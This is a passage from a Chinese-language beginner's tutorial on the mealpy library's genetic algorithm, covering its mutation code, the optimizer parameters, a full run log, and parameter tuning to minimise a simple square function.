            # ... Scramble mutation logic ...
        else:  # "flip"
            idx = self.generator.integers(0, self.problem.n_dims)
            child[idx] = self.generator.uniform(self.problem.lb[idx], self.problem.ub[idx])
            return child

在上述代码中，
self.problem.n_dims
表示个体中基因的数量。
self.problem.generate_solution()
是生成一个新的随机解，该解可能会用于替换当前子代的某些基因。
self.generator.uniform(0, 1, self.problem.n_dims)
生成一个0到1之间的随机数数组，与变异概率
self.pm
比较，确定哪些基因位点将发生变异。
np.where
函数根据这个条件选择性地替换基因值。

对于例子里单浮点数的个体，翻转变异将简化为在给定的值范围内重新生成一个随机浮点数。如果变异策略是swap、scramble或inversion，由于只有一个浮点数，这些策略将不适用或不产生任何效果。

回到例子

optimizer = GA.BaseGA(epoch=100, pop_size=50, pc=0.85, pm=0.1)

这行代码创建了一个遗传算法优化器的实例，并设置了几个重要的参数：

• epoch=100：这指定了算法的迭代次数，即算法将运行100代。
• pop_size=50：这指定了种群的大小，即每一代中有50个候选解。
• pc=0.85：这是交叉概率（crossover probability），指在每一代中，有多少比例的候选解将通过交叉（即基因的重组）来产生新的后代。在这里，设置为85%。
• pm=0.1：这是变异概率（mutation probability），指在每一代中，有多少比例的候选解将经历变异（即基因的随机改变）。在这里，设置为10%。
  这些参数是遗传算法性能的关键，它们需要根据具体问题进行调整以达到最佳效果。

optimizer.solve(problem_dict)

这行代码调用优化器的 solve 方法，并传递之前定义的 problem_dict 作为参数。solve 方法将使用遗传算法来寻找最优解或者尽可能接近最优解的解决方案。

problem_dict 包含了目标函数 obj_func（用于评估解的质量）、解的边界 bounds（定义了解的搜索空间），以及优化目标 minmax（指明是最小化问题还是最大化问题）。

通过执行这两行代码，遗传算法将运行指定的迭代次数（在本例中为100代），并在每一代中使用遗传操作（选择、交叉、变异）来改进解，最终返回找到的最佳解。这个最佳解将是根据目标函数评估得到的最优质的解，同时受到解空间边界的约束。

打印结果

print(optimizer.g_best.solution)
print(optimizer.g_best.target.fitness)

最后，优化算法运算结束，打印最佳方案即
\(x\)
和最佳适应度，本例子等价于
\(f(x)\)
最小值。
结果如下：
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: Solving single objective optimization problem.
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 1, Current best: 509877.0525830909, Global best: 509877.0525830909, Runtime: 0.00927 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 2, Current best: 432309.9094269061, Global best: 432309.9094269061, Runtime: 0.00697 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 3, Current best: 432309.9094269061, Global best: 432309.9094269061, Runtime: 0.00829 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 4, Current best: 48716.68478834449, Global best: 48716.68478834449, Runtime: 0.00681 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 5, Current best: 48716.68478834449, Global best: 48716.68478834449, Runtime: 0.00785 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 6, Current best: 48716.68478834449, Global best: 48716.68478834449, Runtime: 0.00749 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 7, Current best: 48716.68478834449, Global best: 48716.68478834449, Runtime: 0.00863 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 8, Current best: 48716.68478834449, Global best: 48716.68478834449, Runtime: 0.00734 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 9, Current best: 48716.68478834449, Global best: 48716.68478834449, Runtime: 0.00702 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 10, Current best: 48716.68478834449, Global best: 48716.68478834449, Runtime: 0.00653 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 11, Current best: 48716.68478834449, Global best: 48716.68478834449, Runtime: 0.00696 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 12, Current best: 48716.68478834449, Global best: 48716.68478834449, Runtime: 0.00776 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 13, Current best: 48716.68478834449, Global best: 48716.68478834449, Runtime: 0.00768 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 14, Current best: 48716.68478834449, Global best: 48716.68478834449, Runtime: 0.00854 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 15, Current best: 48716.68478834449, Global best: 48716.68478834449, Runtime: 0.00748 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 16, Current best: 48716.68478834449, Global best: 48716.68478834449, Runtime: 0.00735 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 17, Current best: 17626.98464372988, Global best: 17626.98464372988, Runtime: 0.00716 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 18, Current best: 17626.98464372988, Global best: 17626.98464372988, Runtime: 0.00768 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 19, Current best: 17626.98464372988, Global best: 17626.98464372988, Runtime: 0.00796 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 20, Current best: 17626.98464372988, Global best: 17626.98464372988, Runtime: 0.00805 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 21, Current best: 17626.98464372988, Global best: 17626.98464372988, Runtime: 0.00838 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 22, Current best: 17626.98464372988, Global best: 17626.98464372988, Runtime: 0.00754 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 23, Current best: 17626.98464372988, Global best: 17626.98464372988, Runtime: 0.00818 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 24, Current best: 17626.98464372988, Global best: 17626.98464372988, Runtime: 0.00731 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 25, Current best: 17626.98464372988, Global best: 17626.98464372988, Runtime: 0.00890 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 26, Current best: 5265.4477712475245, Global best: 5265.4477712475245, Runtime: 0.00742 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 27, Current best: 5265.4477712475245, Global best: 5265.4477712475245, Runtime: 0.00778 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 28, Current best: 5265.4477712475245, Global best: 5265.4477712475245, Runtime: 0.00720 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 29, Current best: 5265.4477712475245, Global best: 5265.4477712475245, Runtime: 0.00776 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 30, Current best: 5265.4477712475245, Global best: 5265.4477712475245, Runtime: 0.00761 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 31, Current best: 5265.4477712475245, Global best: 5265.4477712475245, Runtime: 0.00767 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 32, Current best: 5265.4477712475245, Global best: 5265.4477712475245, Runtime: 0.00734 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 33, Current best: 5265.4477712475245, Global best: 5265.4477712475245, Runtime: 0.00767 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 34, Current best: 5265.4477712475245, Global best: 5265.4477712475245, Runtime: 0.00835 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 35, Current best: 5265.4477712475245, Global best: 5265.4477712475245, Runtime: 0.00910 seconds
2024/04/11 11:29:05 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 36, Current best: 5265.4477712475245, Global best: 5265.4477712475245, Runtime: 0.00857 seconds
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2024/04/11 11:29:06 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 97, Current best: 1232.002800987481, Global best: 1232.002800987481, Runtime: 0.01259 seconds
2024/04/11 11:29:06 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 98, Current best: 1232.002800987481, Global best: 1232.002800987481, Runtime: 0.00722 seconds
2024/04/11 11:29:06 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 99, Current best: 1232.002800987481, Global best: 1232.002800987481, Runtime: 0.00835 seconds
2024/04/11 11:29:06 AM, INFO, mealpy.evolutionary_based.GA.BaseGA: >>>Problem: P, Epoch: 100, Current best: 1232.002800987481, Global best: 1232.002800987481, Runtime: 0.00735 seconds
[35.09989745]
1232.002800987481

结果分析

就看结果的最后两行，不要看中间过程，中间过程可以拿来分析，如果不想看到中间过程，可以在问题字典里添加
"log_to": None,
键值对。

 # 定义问题字典
    problem_dict = {
        "obj_func": objective_func,
        "bounds": FloatVar(lb=[-10000], ub=[10000]),
        "minmax": "min",
        "log_to": None,
    }

迭代100代，从-10000到10000 实数里，最终结果算出来，当
\(x=35.09989745\)
时，
\(f(x)\)
最小，且等于1232.002800987481
然后，第一次接触遗传算法的，不禁会发出大大的疑问：搞了半天，就这？？？？！！！！我一秒钟都得出是
\(x=0\)
了。

我知道你困了累了，但请别困，别累。
从结果来看，那说明咱们上面说的原理没错，确实是一步一步的遗传变异，得到的结果。至于结果不如意，那肯定是需要继续调优的。不然那些调包侠，调参侠的称呼怎么来的？

参数调优分析

GA.BaseGA 它在寻找全局最优解的过程中可能会找到局部最优解或者近似解。遗传算法的性能（即能否找到全局最优解以及找到解的速度）取决于多个因素，包括：

• 目标函数的复杂性和多峰性：如果目标函数有很多局部最优解，算法可能陷入其中之一而不是全局最优解。
• 种群大小（pop_size）：较大的种群可以提供更多的多样性，有助于探索解空间但同时也会增加计算成本。
• 交叉概率（pc）和变异概率（pm）：这些参数控制算法的探索和开发的平衡，需要根据具体问题进行调整。
• 选择、交叉和变异操作的策略：这些操作如何实施也会影响算法的表现。
• 迭代次数（epoch）：迭代次数越多，算法有更多的机会改进当前解，但同时也意味着更高的计算成本。

例子中目标函数是一个简单的单变量平方函数，它的全局最小值在 x = 0 处（假装不知道）。遗传算法应该能够找到这个全局最小值，或者至少是一个非常接近的近似值。结果不尽如人意，可能有几个原因：

• 随机性：遗传算法包含随机性，每次运行可能得到不同的结果。可能需要多次运行来获得更好的统计结果。
• 参数设置：pop_size、pc 和 pm 这些参数可能需要调整以适应特定问题。
• 初始化：初始种群的生成可能没有很好地覆盖解空间。
• 早熟收敛：算法可能过早地收敛到了一个局部最优解而非全局最优解。
• 迭代次数（epoch）不足：可能需要更多的迭代次数来允许算法有足够的时间来优化解。

要改进结果，可以尝试以下方法：

• 增加迭代次数：增加epoch的值，允许算法有更多的时间来改进解。
• 调整初始种群的生成。
• 调整种群大小：增加pop_size的值，提供更多的初始解和多样性。
• 调整交叉和变异概率：调整pc和pm的值，尝试找到更好的探索和开发之间的平衡。
• 多次运行：由于遗传算法的随机性质，多次运行并取最佳结果可能有助于获得更好的解。

优化

根据上面的分析，我们可以挑一两个参数试试

优化1： 大力出奇迹，增加迭代次数

代码其他不变，代数从100 代变成 10000代

optimizer = GA.BaseGA(epoch=10000, pop_size=50, pc=0.85, pm=0.1)

结果：
[-0.20769044]
0.04313531784135752

看来结果是-0.2，还是不太能接受，继续努力优化。

优化2 ： 启用先知预测功能，边界值调小

从结果来看，
\(x\)
越来越小，那么，
\(x\)
边界值就可以不用从[-10000,10000]这么大范围筛选了，直接[-10,10]

problem_dict = {
    "obj_func": objective_func,
    "bounds": FloatVar(lb=[-10], ub=[10]),
    "minmax": "min", }
optimizer = GA.BaseGA(epoch=10000, pop_size=50, pc=0.85, pm=0.1)

结果：
[7.35480744e-05]
5.409319244888902e-09

$x= 7.35480744 \times 10^{-5}, f(x)= 5.409319244888902 \times 10^{-9} $
第二次结果看起来非常不错。运气不错哈。（不要脸！）

总结

这只是我对mealpy库的入门尝试，还有很多高级特性没用上，比如多线程，微调，画图等等，优化算法也只是研究了BaseGA,其他算法估计也有其独到之处。
举的例子也是非常没有实际应用的可能性。
在这些探索留到日后有空再慢慢看看吧，这篇主要目的是让大家知道有这么一个库。
我也是零基础入门中，文章中可能有些错误，欢迎指正。